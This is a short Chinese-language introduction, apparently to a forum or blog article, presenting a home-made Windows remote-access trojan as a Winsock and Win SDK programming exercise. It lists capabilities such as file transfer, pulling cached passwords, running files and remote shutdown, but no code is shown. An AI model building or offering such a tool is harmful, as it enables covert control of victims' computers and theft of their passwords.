一个简单木马例子

写文章一般都赋源代码.除关键部分外向来不爱打太多说明性文字,因为觉得这样
才比较实际,关于那些函数用法和功能大可以去翻书,哪里讲的比谁都详细.

这里给了一个用异步SOCKET方式, 直接调用WINSOCK API,WIN SDK写的木马(VC,C++ BUILDER下均编译,调试通过),无须客户端,编译后才几十K.实现了些 主要功能,文件浏览,上传,下载(均支持统配符),改变目录,获取系统信息,从CACHE取密码, 执行文件,显示进程, 发送消息,关机, 还有些控制功能, WIN 9X,NT/2000下均 可使用,在NT,2000下,因考虑到如CMD.EXE已改名或不存在,那么程序 将毫无用处. 所以 并没有调用CMD.EXE来完成,全部由自己来做,WIN API实现.要想自己程序通用就不要怕 麻烦.建议那些用现成控件写木马和网络通讯的朋友应该看看,去熟悉这些根本所在, 尤其是在网络 通讯方面.如果你是个程序员 我想大可不必用我多说,在开发中还没见过哪家公司让 用现成类 (MFC,VCL)来做的.

此程序还不很健壮,写完后也没来的及优化,主要是拿来让大家熟悉一下WINSOCK和WIN SDK编程.
